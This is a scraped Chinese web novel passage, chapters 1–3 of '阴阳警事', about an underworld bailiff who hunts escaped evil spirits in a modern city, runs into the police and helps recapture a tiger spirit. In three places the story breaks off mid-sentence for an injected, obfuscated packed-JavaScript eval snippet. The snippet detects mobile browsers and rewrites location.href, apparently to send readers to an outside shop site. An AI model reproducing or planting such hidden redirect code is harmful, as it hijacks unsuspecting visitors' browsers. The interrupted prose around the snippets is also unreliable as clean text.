《阴阳警事》 1. 阴律司凌初 “师傅,一碗素胡辣汤,一根鸡蛋油条!”年轻姑娘冲档口喊道。 “好嘞!”熬汤的师傅中气十足应了一声,左手拿了白瓷碗,右手抄起木勺在汤锅里搅了搅,舀起一大勺,刚好将白瓷碗填满。 旁边大娘熟练地接过碗,放托盘里,夹起一根油条剁成四块儿,盛进编织篮,麻利道:“六块。” 姑娘付过钱,端着托盘找了个空位。 胡辣汤和油条热腾腾的,香味扑鼻,让鬼食指大动。 凌初抽出一副木筷,夹起一块油条放进嘴里,酥脆的油条与软嫩的鸡蛋混合起来,滋味十足,她忍不住喟叹:“阳世的饭真香啊!” 勉强能抚慰自己受伤的心灵。 不对,阴司诸鬼是没有心的!凌初如是想道。 …… 数日前,阴司生乱,恶鬼出逃。 到底发生了什么凌初也不太清楚,只知道是十八层地狱生了异动。 彼时她正坐在轮回司孟婆殿中,翘着二郎腿,品尝孟婆最近特调的孟婆汤。 “孟姐,这份孟婆汤你醋加多了吧,有点酸。”凌初刚饮了一杯,煞有介事评价道。 “滚滚滚,找你来是让你干活的,不是喝酒赏月聊天的!”孟婆生得美艳,说的话却不太中听。 凌初起身,凑到孟婆眼前,贱兮兮地问:“孟姐,你今日这副美人皮不错啊,借我使使?” “滚一边儿去,这是老娘自己的皮!” “哦。”凌初一脸遗憾。 孟婆站在一口大锅前,双手叉腰,气极反笑,枉费她专门把阴律司的闲鬼借了过来。 难怪她向崔判借鬼的时候,崔判一脸欲言又止。 原来真是一个“大闲鬼”啊! 问就是后悔。 “哎,我说凌初……” “轰隆”一声巨响从阴司最中央传来,紧跟着一声怒吼——“恶鬼休逃!” 数十道白影划过阴司灰蒙蒙的天空。 “出事了!”孟婆断定。 凌初又坐回凳子上,不紧不慢又喝了一杯特调孟婆汤,才说:“这不明摆着的嘛,刚那声,貌似是阎罗殿?” “你这丫头怎么一点也不关心阴司境况?” “你关心或者不关心,阴司就在那里,不来不去。”[1]她张口就来。 “都是崔判给你惯坏了!”孟婆恨铁不成钢。 “别这么说,崔判……” 话没说完,一道庄重威严的声音从远处阴律司传来。 “凌初,阴司令召!” “……”凌初后半句话直接卡壳了。 孟婆幸灾乐祸,“嘻嘻,好日子到头了哟!”。 众所周知:阴司令召,必有要事! 至于是哪种要事,那就要具体情况具体分析了。 眼下,凌初就在召集范围内。 仿佛催促一般,“凌初,速回!”那声音又道。 可见事情真的很急迫! “孟姐,改日再来找你喝酒!” 凌初一脚踏出轮回司殿门,十息之后,鬼已经在阴律司殿门口了。 “崔判,有何要事!”凌初面容严肃。 “阴司生乱,恶鬼出逃。令召诸鬼,即刻前往阳世,捉鬼归案!”崔珏大手一挥,金色令文缓缓浮现在虚空中,其中,凌初的名字闪烁了三下。 这代表,捉鬼的队伍里,凌初也在其中。 “阳世啊,好玩不?” 这鬼丫头第一反应居然是这个? 崔珏那张苍白俊秀的脸上仿佛有一瞬间变青了,他继续补充:“阎罗王殿下还有后半句话。” “什么?” “诸鬼有闲者,来镇十八地狱。” 阳世捉鬼还是镇守十八层地狱,傻子都知道怎么选! 凌初躬身一拜,诚恳道:“多谢崔判为我谋职。” “不客气。” 不客气你个大头鬼啊! 捉鬼这件事跟凌初想得完全不一样! 不仅修为被封了一大半,阴司还给每只鬼发了一个劳什子“捉鬼守则”,包括:不能擅用修为、不能惊动活人、不能沾染因果…… 凌初就不明白了,哪有去打仗的先把自己的武器整钝了,这跟直接给那些恶鬼挠痒痒有什么区别!!! “崔判,你没有心。” 天塌了的凌初恶狠狠控诉,崔珏轻飘飘一句“阴司诸鬼,哪个有心”成功把凌初噎住了。 凌初大力咬下一口鸡蛋油条,好像这样就能多散去几分郁气似的。 “小姐姐,这个位子有人吗?”有姑娘礼貌询问。 凌初一抬眼,嚯,这家店生意真好,人都满了。 “没人,坐吧。” 姑娘兴冲冲坐下,道了声谢。 对面姑娘上身穿了件鹅黄的外套,短发,皮肤很白,清清秀秀的,让人看了便觉得心情好。 当然,鬼也是。 凌初也挺开心的,爱美之心,人鬼有之嘛。 小姑娘人不可貌相,吃起饭来风卷残云,甚至抽空接了个电话,“是!陈队,我马上来!” 然后一推碗,抽张纸巾抹抹嘴,笑盈盈道:“今天谢谢你啦,小姐姐,再见!”话刚说完就一溜烟跑了。 凌初再度惊讶,“跑得还挺快!” 郁闷一扫而光,凌初喝光了瓷碗里最后一点儿胡辣汤,抽纸、擦嘴、走人。 漫无目的走在大街上,凌初只觉得人海茫茫,哪里去捉鬼?她抬起右手,腕上有一个雕花繁复的木镯。崔判给的这东西,最好有点儿用! “人民路?”凌初看着有些许陌生的简体字,在阴司繁体看多了,不太适应。 她顺着人民路往东继续走,路过很多铺面,还有一个房子、大门都是蓝白二色的地方,叫什么“新城市公安局红旗区分局”。 嗯?这就是阳世的衙门?出发之前,凌初被崔珏抓着恶狠狠补习了一通。 突然,凌初右手感受到一阵微微的热意。有情况! 她停下来,闭上眼,仔细分辨空气中的鬼息。人有不同的味道,鬼亦如此。 东北方! 凌初朝着鬼息方向疾走,细心的人,只要蹲下来,就能看到她双脚离地,每一步都没有踩实。 所谓:鬼过无声。 鬼息越来越浓,是只厉鬼! …… 城中村的道路不仅错综复杂、四通八达,而且路况也很迷惑,有的地方宽约两三米,能过汽车;有的地方却窄得仅能容一人通过。 凌初循着空气中残留的鬼息来到此处,但这里的味道实在是五花八门,严重干扰她的判断。 故而,她在此地打转许久,仍未抓到那只恶鬼! 凌初虽郁闷到了极点,但步履未停,仔细辨别空气中那只恶鬼的气息。她可不想去镇守十八层地狱! …… 西边的一处破巷,第三户人家大门敞开着。 从门口往里看,一个枯瘦邋遢老头儿正站在院中,双目漆黑,左看右看,仿佛在找什么东西。 院子内各种垃圾堆积如山,墙面斑驳,好几处都写着“收废品”三个大字。勉强清出来三条小道,分别通向堂屋和东西两屋,此外,再无其他落脚的地方。 有人躲在最偏僻的西屋中,瑟瑟发抖。 “老、老、老婆,我害怕。”男人抱紧女人,紧张兮兮道。 身材娇小的女人翻了个白眼,恨铁不成钢道:“你多大,他多大?你多高,他多高?你多重,他多重?” 她就想不明白了,身边这大高个,遇到外面那老头儿下意识反应居然是躲起来? 有一句脏话不知当讲不当讲! “你是不知道那老头儿多可怕!”男人现在还心有余悸,“我刚开门时,他整张脸是死白死白的,没有表情,双眼漆黑,直勾勾盯着我。老婆,呜呜呜……” “我真是服了。” 屋外脚步声愈来愈近,女人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924172|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把挣开男人,低声道:“把桌子搬过来,堵门!” 男人擦了擦眼泪,立刻起身去搬桌子,刚把门堵住就被一股巨力掀翻,屋门“嘭”地一声被撞开,发出令人牙酸的“吱呀吱呀”声,摇摇欲坠。 老头儿踏进门,伸手掐住男人脖子,轻易便将他提了起来。 “呜呜呜!放开我!”男人双手抓住老头儿的小臂,额头青筋迸发,两腿不断挣扎。 女人见状,立刻抓起墙角的锄头,冲着老头儿砸去! 又是“嘭”的一声,锄头“咣当”一声落地,被这声音吸引的老头儿看向了女人。 “怎么会?怎么会?他怎么没事?”女人震惊道,锄头竟然没在这老头儿身上留下任何痕迹! 这还是人吗? 女人不信邪,想要去拿锄头,却被抢先一步。 老头儿丢开了男人,举起锄头! 他一步一步走向女人,女人不断后退。 “不、不、不要!”一旁男人挣扎着爬过来。 锄头挥起! 男人目眦欲裂。 说时迟那时快,一道黑影干脆利落破开窗户,随之而来的还有道戏谑的女声,“可算找到你了!恶鬼。” 屋内人俱是一愣,老头儿最先反应过来,没等来人站定,一锄头挥过去! 凌初侧身躲过,锄头扑了个空。 老头儿却猛地转身,丢了锄头,手脚并用冲向屋外,竟是要逃! 凌初不紧不慢跟在身后,想逃,没门! 她先前已经在此处布下缚鬼阵,除了修为极高的鬼神,无鬼可逃。 门口。 明明大门开着,老头儿一次次冲过去,却每次都被挡了回来,仿佛有道无形的屏障将他与院外世界隔开。 凌初站在五步之外,好心劝导,“别白费力气了,你现在只有一个选择,就是乖乖进我的锁魂袋!” 老头转身,黑漆漆的眼睛注视着凌初,嘴巴张开,却是与外表十分不符的青年声音,“不知阁下是哪殿哪司?” “少套近乎!恶鬼,还不快随我赴阎罗殿请罪!”凌初耐心告罄,直接动手,开打! 由于修为被封了大半,凌初能动用的术法极少,而且大部分都偏防御,所以,捉鬼,全靠肉搏! 虽是肉搏,但毕竟是鬼神之力,亦能对魂魄造成伤害。 “砰!”凌初飞踢一脚,老头并肘抵挡。 两只鬼你来我往,已经打了几个来回。 凌初“啧”一声,再出拳,直奔老头天灵盖。 只要右手碰到活人天灵盖,再催动右腕木镯,就能揪出附身恶鬼! 恶鬼当然也知道此法,打斗中处处防备,以免被鬼差抓住可乘之机! “放着好端端的鬼不做,偏偏要逃到人间,祸乱阴阳!”凌初边打边骂。 老头儿握住凌初的拳头,回道:“你是阴差,怎知地狱苦楚!” “放屁!” 凌初紧随其后又是一脚,这次直接将老头儿踢飞了。 “哗啦”一声,垃圾堆成的小山塌落,铺了满院,都快埋到凌初大腿了。 “呸!尽找借口!又不是只有你一只鬼去过十八层地狱!” 凌初抬起右手,默念:“幽冥无道,诸鬼现形,收!” 木镯凭空转动,有一道无形的锁链抽出。 凌初跨步走到奄奄一息的老头儿跟前,伸出右手,直接从他天灵盖一扯,揪出一只虚影。 虚影挣扎,想要逃跑。 “缚!” 那道无形锁链立刻将虚影缠了个紧实,连嘴也裹严实了。 凌初正准备从身后拿出锁魂袋,一声细微的“啪”声响起,空气有了波动。 缚鬼阵结界破了! 凌初瞪大双眼,看向大门,只见十几把黑洞洞的枪口对着自己,枪口后面是全副武装的警察。 该死,竟然忘了缚鬼阵对活人无效! “警察!别动,举起手来!” 2. 一进宫 “警察!别动,举起手来!” 凌初慢慢举起双手。 警察一拥而上,将院子团团围住。 一个穿着黑夹克、黑裤子的男人走进来,高鼻薄唇、眉眼冷峻,一头利落的黑发。 身材虽比不上屋内男人壮硕,但透过衣服,能看出他全身肌肉紧绷,像一头蓄势待发的豹子,随时准备搏杀! 凌初心中五味杂陈,真是出师不利,竟然碰到了警察! 她眼神一动,瞥见虚空中,被五花大绑的恶鬼露出了一个挑衅十足的笑容,更不爽了。 “……”凌初默念:“紧!” 锁链瞬间收紧,那恶鬼表情瞬间龟裂,龇牙咧嘴起来。 凭你一只恶鬼,也敢笑话我! 黑衣男人在凌初面前站定,上下打量她,看了看地上奄奄一息的老头,瞅瞅屋内昏倒的一男一女,发话:“屋内男女送医院,人醒了做笔录;齐大威和她,带走!” “是!陈队!” 同行的其他警察立刻行动起来,搬人的搬人,勘察的勘察,井然有序。 原来这老头儿叫齐大威。 三人伤势,明显齐大威更严重些,怎么没让他去医院?还有这恶鬼?为何会附身到齐大威身上。 “这位小姐,请上车。”一名女警走到凌初面前。 “哦。” 鉴于凌初十分配合,女警并没有给她用措施。 刚下警车,新城市公安局红旗区分局映入眼帘。 凌初看着熟悉的大门口,得,绕一圈又回来了! 一进警局大门,逢人便是“陈队”,黑衣男人点头致意。 凌初同样接受了一路注目礼。 “陈队!”另一名女警跑过来,注意到他身后的凌初,“哎?小姐姐?” 凌初认出她就是早餐店和自己拼桌的姑娘,冲她微微一笑。 原来她是警察啊!衙门的人,怪不得饭吃得风卷残云。 “张小曈,认识?”男人问。 张小曈立正,大声道:“报告,早上在费记胡辣汤吃饭和小姐姐拼了个桌。” “……一会儿过来记询问笔录。” “是!” 男人领着凌初往询问室走。 身后传来极其压抑的女声“噗嗤!” “扑哧!”又一声。 “咳咳,哈哈哈……”继而变成大笑,“哈哈哈哈……”一位中年女警笑道。 另一个小年轻道:“张警官你也太严肃了叭哈哈哈哈……” “就是就是……” “我感觉陈队都无语了哈哈哈!” 张小曈毫不在意,“嘿嘿”一笑,“我说的是事实嘛。”说完就“噔噔噔”跑自己位子上拿了纸笔,准备记询问笔录。 凌初跟着男人上二楼,“这边!”他推开一扇门。 “啊,好。” 凌初走进办公室,一眼便看到正前方的五星红旗和镰刀、锤子旗。 屋子中间是一张能容纳二十人的椭圆桌椅,擦得锃亮。 男人随手扯出一把椅子,“坐。” 凌初应声落座,“谢谢!” 她受宠若惊,现在进衙门的待遇这么好?头头儿还怪有礼貌的,就是面无表情,一副死人脸,好像有人欠他几百两银子似的! 不对,是几百万!崔判说过,人间现在不用金银,都叫“货币”。 刚一路走过来,见到的所有人都跟这男人打招呼,凌初理所当然地认为男人是他们的头儿。 男人在她对面坐下,掏出手机,指尖翻飞,回复众人消息。 “咚咚。”张小曈抱着笔记本电脑和纸笔敲门,“陈队,我准备好了。” 男人摆头,示意她进来,“关门。” 张小曈关了门,坐到陈队旁边。 “开始吧。”男人吩咐。 “小姐姐,不要害怕,因为你是案发现场的目击证人,我们需要对你进行例行询问。”张小曈柔声,生怕自家队长吓到小姐姐。 男人闻言,微微皱眉,怎么一上来就给人定性?警院怎么教的都忘了! 但他没有打断张小曈,新人,都是需要磨炼的。 “……好的。”凌初当即看到男人满眼的不赞同,很意外他竟然没有发火! 见惯了阴司一言不合就动雷霆之怒的鬼神,像男人这样正常的上司简直是稀世珍宝。 “姓名?” “凌初。凌空的‘凌’,初遇的“初”。” “性别?” “女。” “年龄?” “二百八……二十八岁。”好险,差点说漏嘴。 “职业。” “呃……”凌初迟疑,崔判并没有说这阳世身份的职业! 当然,崔珏也没想到竟然有鬼差刚到阳世就被警察抓了。 “崔判崔判!急急急!救命救命!”凌初食指、中指并拢,轻敲太阳穴附近,随后在脑子中疯狂呼叫崔珏神识。 “吵什么!”崔珏喝道。 堂下小鬼瑟瑟发抖,弱弱开口:“判官大人,冤枉啊,小的刚什么都没说啊。” “没说你!” “啊?” 崔珏正在殿中审鬼,凌初的声音在他脑海中乍响,噼里啪啦跟放了串鞭炮似的。 “快救鬼命啊!大人!”凌初急忙道:“快看看生死簿上给我阳世身份安排的什么职业?” 崔珏扶额,大袖一挥,生死簿便浮现在手边,再挥手,有关凌初阳世身份的文字直接跨越阴阳,出现在她脑海中。 “无业游民是什么鬼?”凌初不满。 崔珏无奈闭眼,还有空问这个,看来不是生死攸关的时候。 “指的是没有正经职业、游手好闲的人。” 凌初不服,“我是这样嘛?崔判,我可是你座下得力干将!” 崔珏冷冷一笑,“呵呵!一大闲鬼还差不多!”他直接关闭了神识,任由凌初如何喊叫,反正也听不见。 “凌小姐?凌小姐?”张小曈叫道。 虽然凌初跟崔珏说了一大堆有的没的,但在活人看来,凌初也只是犹豫了两三秒而已。 凌初回神,咬牙切齿道:“无、业、游、民!” “……”啊,怪不得不好启齿。 “哪里人?” “东岳……泰山!哦不,鲁市人。” “东岳阴司”差一点儿便脱口而出。 …… “你为什么出现在案发现场?” 这就到了凌初十分擅长的领域——“胡编乱造”。 “这个嘛,警察同志,你也知道,我是无业游民嘛。在鲁市混不下去,便来新城试试,看能不能找到一个工作。 但是吧,我刚到新城,钱包、证件就被偷了! 晚上总不能睡大街吧,我就想着去城中村,看有没有人能收留我一下,谁知道正好碰见那个老头儿,叫齐什么……” “齐大威。”男人提醒道。 凌初拍手,“对!齐大威,正好碰见齐大威行凶,然后我路见不平,拔刀相助,见义勇为,将那对儿夫妻从齐大威手中解救下来。 没错,就是这样!”凌初最后点头总结。 张小曈“啪啪”鼓掌,满脸崇拜看着她。 “咳!”男人用力咳嗽,张小曈立马把手放下,调出电脑上刚查到的人口信息,“陈队,信息基本吻合。” 男人扫了一眼信息,问:“你知不知道齐大威是什么人?” “恶人呗。光天化日行凶,还能是什么人!”凌初毫不犹豫答。 “小曈,把齐大威信息调出来给她看。” “是。” “啪啪啪”,张小曈在电脑上操作了几下,然后将电脑转过来,屏幕正对着凌初。 凌初一目十行,看完恍然大悟,“哦,连环杀人犯啊。” 怪不得引来恶鬼附身。 人分善恶,鬼也是。 阴阳二界,流传着一句人鬼皆知的话——善有善报恶有恶报。 此话不假,但凡恶鬼,是近不了善人身的,只能附身于恶人。 至于善鬼,都老老实实待在阴司,才不会附身到活人身上! “那我这算是立了大功吧,有没有奖金啥的?”凌初下一句话令人大跌眼镜。 张小曈一脸错愕,男人面无表情的脸上险些扭曲。 “你……” “有奖金!不仅有奖金,还给你发锦旗!”房门被人打开,一位英姿飒爽的女警笑呵呵的,打量凌初一番,“小姑娘真勇敢!” “魏局!”男人和张小曈同时站起来,敬了个礼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924173|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 男人诧异,“魏局您身体不好,怎么过来了?” 魏丽眉毛扬起,骄傲道:“当然是来看看我这抓住通缉犯的大徒弟了!” 男人脸色微红,有点不好意思。 凌初瞪大双眼,十分惊异。哇塞,这男人竟然会漏出这种羞涩的表情。 “陈遇,干得不错!”魏丽转过身,笑眯眯对凌初说:“小姑娘,你也不错!” 莫名被夸的凌初,“……谢谢领导。” “陈遇,那对儿夫妻已经醒了,说是这小姑娘救了他们,还托我们感谢她呢!小曈,带她去做个登记,等奖金、锦旗审批下来交给人家。” “是!魏局。” 魏丽说完,才严肃道:“陈遇,跟我走,提审齐大威。” “齐大威醒了?”陈遇惊讶。 “对。” 他临走时说:“小曈,带凌小姐补一下身份证手续,给500现金,我现在转给你。还有,跟她说怎么去人才驿站。” “是。”张小曈乐颠颠地抱起电脑和纸笔,“走吧,凌初姐,我带你去登记。” “好。” 有张小曈带着,凌初很快就办完了所有手续,拿着五百现金和临时身份证站在红旗分局门口,她心中有股道不清说不明的感觉。 时代真是变了,进衙门居然有钱拿! “呜呜!”不远处被锁链锁住的虚影挣扎,凌初右手转动,虚影嘴上的锁链解开,“你!你!你是凌初?” “是我,怎样?” “呸!”虚影大啐一口,“我当是谁,原来是阴律司有名的摸鱼大王!” “哦?本鬼差竟然这么有名?连你这地狱恶鬼都知道?”凌初语气颇有些骄傲。 虚影几欲吐血,愤怒道:“我不是在称赞你!你个……” 凌初又催动锁链将他的嘴封起来了,“不想听。” 她从身后拿出锁魂袋,锁魂袋是一个锦囊的样子,绣着团花纹,打开后默念:“幽冥无道,诸鬼缚魂!” 一道流光闪现,虚影“咻”的一下,隐入锁魂袋中。 …… 阴律司大殿, “扑通”一声,天上掉下一只五花大绑的恶鬼,狠狠砸在地上。 正准备接受崔珏审判的小鬼被吓了一大跳,连滚带爬往旁边跑了几步,惊疑不定地盯着那只恶鬼。 小鬼是只新鬼,还未有满身煞气,看那恶鬼时,被他眼中怨毒惊到,连连后退。 崔珏压制怒火,好你个凌初,竟然把锁魂袋出口设在阴律司的大殿! “来啊,把他带去阎罗殿,交给阎罗王殿下。” “啊?判官大人我冤枉啊,我在上面从未做过恶事,怎么就要把我交给阎罗殿啊!!!”小鬼声泪俱下道。 “不是你!你,去枉死城,等着投胎吧。” “……哦。”小鬼讪讪,擦了擦眼泪鼻涕,发觉自己闹了个大笑话。 等二鬼都被鬼差带走了,崔珏气沉丹田,吼了一句:“凌初!” 一声怒吼,凌初整个脑瓜子嗡嗡的。 看吧,就说情绪稳定的上司是稀世珍宝。 谁惹崔判生气了? “崔判,怎么啦?”凌初讨好道。 崔珏“心平气和”,“我问你,锁魂袋出口设在阴司哪处?” “还能是哪?十八层地狱呗。” “是吗?”崔珏阴森森道。 凌初发觉崔珏情绪不太对劲儿,急忙探查自己的锁魂袋。 “……” 靠靠靠,她怎么将出口设在阴律司大殿了? 所以,刚才那只恶鬼…… “崔判!我不是故意的!”凌初错认得很快。 “真的,我离开阴司时遇到了谢爷,谢爷问了几句话,我就、就、脑子一热将锁魂袋出口设错地方了!” 凌初哭丧着脸,“我发誓!崔判,我说的是真的!如有半句虚假,永堕十八层地狱!” “谢必安问你什么了?” “啊,没什么。就在阴律司呆着怎么样啊?要不要跟着他干啊?当然,我狠狠拒绝了谢爷。”凌初大表忠心。 崔珏冷哼一声,“你最好是。” “自然自然。” “罢了,这次就饶过你。再有下次,便跟着无常拘魂去吧。” 3. 捉兽魂 要说阴司最繁忙的机构,便是无常一职。 勾魂索命,每天忙得要死,但也是阴司最快升职的地方之一。 偏偏,凌初最讨厌干活! 作为阴司第一大闲鬼,凌初就偶尔写写文书,剩下的时光,大部分都在闲逛。 “还有,下次发誓发点儿有用的。永堕十八层地狱多没意思,有本事说自己每天写八百份文书啊!” 凌初:“……” 凌初在阴律司一日写文书最多的记录是五百五十份。 换言之,还差二百五。 不愧是崔判,骂人真高级。 …… 凌初按照张小曈的指示,找到了人才驿站,说明情况后,负责接待的小哥领着她来到一间房门外。 “凌小姐,这间房是空的,你可以免费暂住,期限是十天,钥匙给你。” “谢谢。” 其实凌初也不是没有地方可去。 人间各地,均有城隍,以供鬼差歇脚。 但是吧,凌初头一次来人间,总想多体验体验。 凌初盘腿坐在床上,左手伸出,一本书浮现,正是“捉鬼守则”。 “哗啦哗啦”,凌初翻页极快,五六分钟就看完了整本守则,这才了解右腕木镯的用处。 此镯名为“寻鬼镯”,乃是由东方鬼帝神荼郁垒镇守鬼门的度朔山桃木制成,凝聚天地日月之精华,能寻众鬼,凝缚魂锁,激发修为。 但是,鬼神之力有限,不能频繁使用。 即使寻鬼,最远也就十八米,再远些,便无任何反应。 “鸡肋!”凌初评价道。 食之无味弃之可惜。 凌初倒是能识别鬼息,但因修为被封了大半,对鬼息的感知距离也很有限。而且,人间的味道太杂乱,若是时时感知鬼息,这鼻子就别想要了! “罢了,既来之则安之,反正捉鬼的不止我一个。” 凌初第二天起了个大早,准备换个地方碰碰运气。 她准备换个地方碰碰运气,结果恶鬼没碰到,倒是先遇上了“同事”! 该怎么说呢? 你在路上走,身后跟了一只黑猫,并且这猫还喋喋不休。 “凌初,别装不认识我!” “你就算化成灰我也识得!” “凌初!凌初!凌……” “闭嘴!”凌初烦不胜烦,回身道:“我说豹尾大人,你顶着这副样子看着很别扭啊!” 两名路人经过,见到凌初老神神在在跟一只流浪猫说话,“快走快走,碰上神经病了!” “……” 凌初:我不是神经病! “嘁!你当本大人想啊?我豹尾一族,拘得是走兽亡魂,要不是这次异动有兽魂逃走,我才不来呢!” “啥?这阴司也真是不行了,恶鬼出逃还不够,连兽魂也能走丢?”凌初面露不屑,十分鄙夷。 “慎言!”黑猫表情严肃。 凌初忍俊不禁,“哈哈哈哈……太好笑了!”竟然能在一只猫脸上看到这种表情。 豹尾:“……” 就知道这臭丫头不安好心! “别笑了,我找你有要事。” 二鬼通过神识交流,但在活人看来,就是一人一猫,街头对峙。 “换个地方说。”豹尾一个箭步,窜到凌初身上,她抱着猫,走到一处僻静的公园。 凌初找到个六角亭,她刚坐在石凳上,豹尾就跳到石桌上,端庄地卧着,“我需要你帮忙把我带进动物园。” “啊?” “出逃的兽魂中,有一只恶虎,数百年前吃过人,钟馗大人罚它入寒冰狱思过八百年。这次它趁着十八层地狱生乱,也逃了出来,就在新城动物园。” 凌初不明白了,“区区动物园,能难住你拘魂使?” 黑猫翻了个白眼,“若是之前,自然不能。但现在,我只能维持这个形态,而且无法隐身,一靠近动物园就被保安拿着扫帚驱赶!”猫脸上露出气愤的神情。 “咳咳!”凌初捂嘴,想笑又不敢笑。 “喵喵(凌初)!”猫猫炸毛。 “哈哈哈……”凌初笑得腰都直不起来了,“好好好,我帮忙我帮忙。” 一人一猫来到动物园,凌初去买票,抱起猫猫,右手抬起,施了个术法。 这术法很简单,是鬼修最基础的“掩息”,顾名思义,就是“掩去活息”。 现在,黑猫在活人看来,就是一个“死物”。 过安检时,保安大叔看着凌初手上的黑猫,操着一口方言问:“乖,你这猫玩偶哪买的?这么逼真,我也给俺妮儿买一个。” “呃,我亲戚在国外买的。”凌初答。 “好吧,看义乌啥时候做了俺再买。” “嗯。” 一人一猫顺利通过安检,豹尾悄悄问:“义乌是什么地方?” “不知道。” “不知道你‘嗯’什么?” “我就随便附和下,要不然你说?” 算了,猫要真开口说话,能把人吓疯! “带我去狮虎山。” “得嘞。” …… 狮虎山,人满为患。 最近一头老虎的表现让动物园里的游客们啧啧惊奇,一改往常郁郁寡欢的模样,生龙活虎。 “看到了吧,这就是那头老虎!”有人给新来的游客介绍。 “之前这头虎好像说是有刻板行为,天天耷拉个头,无精打采地转圈圈。 前些天不知怎么的,饲养员喂肉的时候生扑上来,把人吓了一跳。 要不是有铁丝网拦着,饲养员都差点被它吃了!”老太太煞有介事地说道。 有人问:“这虎是不是受刺激了?” “谁知道呢?” “这样是不是不太安全啊?”有个担忧的女声道。 她身边的男人回:“有铁丝网呢,怕啥?” “哎呀,都说这只老虎是从小养起来的,早就没了捕猎的能力,放它出去能干嘛?” 干嘛?吃人呗!凌初腹诽。 “豹尾大人,你打算怎么做?” “弄个结界,挡住这些凡人目光。” “……行。” 凌初念了个决,淡蓝色的光晕覆盖了整座狮虎山。 “行了。” “吼——”老虎感受到了阴司结界,长啸。 “恶虎,还不回寒冰狱思过!”豹尾大喊一声,跃入狮虎山,身形蓦地壮大,俨然一只巨大的黑豹,这是阴司妖修一族的真身。 “吼——”豹尾发出一声怒吼,扑了上去。 一虎一豹打得热火朝天,凌初忽然觉得一言难尽,动物打架就是你咬我我咬你,朴实无华得很。 突然,凌初鼻尖微动,恶鬼的气息! 很近。 凌初慢慢退后,转头,盯住了一个戴帽子的男人。 从她视角看,那男人正在解大妈脖子上的金项链! 并且快要得手了! 凌初灵机一动,大喊:“抓小偷啊!” “小偷!” “哪呢?哪呢?” “这儿!”大妈摸着空荡荡的脖子,尖声叫:“他,他,我的金项链不见了!” 仿若一颗石子被丢进了平静的湖面,泛起阵阵涟漪,好几个声音都被炸了出来。 “谁捡到我的金镯子啦?” “我的金耳环不见了!” “……” 戴帽子的男人早在凌初喊出声的时候便迅速后退,转身便跑。 凌初一指,“就是他偷的!” 游客们一窝蜂涌上去。 “哎呀哎呀,别挤别挤!” “神经病啊,干什么呢!” “抓小偷啊!” “干什么呢,挤着孩子了!” “呜呜呜,爸爸妈妈!” “……” 凌初惊觉自己闯了大祸,立刻催动寻鬼镯,默念了个口诀,大喝:“止。” 所有人的动作同一时刻停下,世界仿佛被按下了静止键。 除了鬼怪。 凌初再念,“散!” 所有静止的人被分开,各自保持一个安全的距离。 “动!” 凌初力竭,瘫坐到地上。 周围一瞬间又人声鼎沸起来。 至于恶鬼,早跑没影了! 豹尾施施然踱步到凌初身边,打了个饱嗝,他胜了。 “你把它吃了?”凌初问。 “昂!我嘴巴就是锁魂袋,只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924174|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把兽魂吃下去,就直接到十八层地狱。” “厉害。”凌初竖起大拇指。 豹尾却皱眉,“你刚才可是险些酿成大祸!” 动物园人这么多,以刚才乱局,必定发生踩踏事故。到时,凌初可就万死难辞其咎了。 幸亏她补救及时! “我知道。”凌初闷声答道。 “好了,别不开心了。走,豹爷请你吃饭去!” 黑猫尾巴高高扬起,轻轻打了一下凌初小腿。 “……那我可要大宰你一顿!” 话虽这么说,但凌初也吃不了多少。 食物对阴司诸鬼来说不是必须的,他们早已不知饥饿是什么感觉了。 前往阳世捉拿恶鬼的鬼差,皆是由崔珏做法,在生死簿上添了名字,三魂七魄不全,不算是真正的活人。 因此,无需像活人一般饮食。 至于凌初,单纯嘴馋。 而豹尾,亦是阴司老饕。 于是乎,二鬼一合计,打算去新城最有名的酒楼——名都酒楼大快朵颐一番。 刚到门口就被漂亮的服务生小姐姐拦住了,“小姐您好,宠物不能进店。如有需要,可以寄存。”她伸出手,指向酒楼大厅一侧。 那边有一排金属箱笼,已经关了几只猫狗。 “凌初!你要是敢把我跟那几只畜牲关在一起,我保证,你以后别想在阴司混下去!”豹尾蜷缩在凌初怀中,明目张胆地威胁道。 看来脑容量真挺影响智商的! 瞧瞧豹尾才当了几天猫,为了威胁她连自己都骂! “哪能啊?放心吧,豹尾大人!”凌初用神识回应他,然后说:“你好,我打包几个菜。” “好的。” 凌初报了几个菜名。 “喵喵喵喵喵喵(本大人要吃肉)!”豹尾大叫。 “……你好,再加几个菜。”凌初补充。 “好的。” 大约半小时后,凌初双手提着巨大的袋子,一马当先,豹尾跟在她身后,优哉游哉。 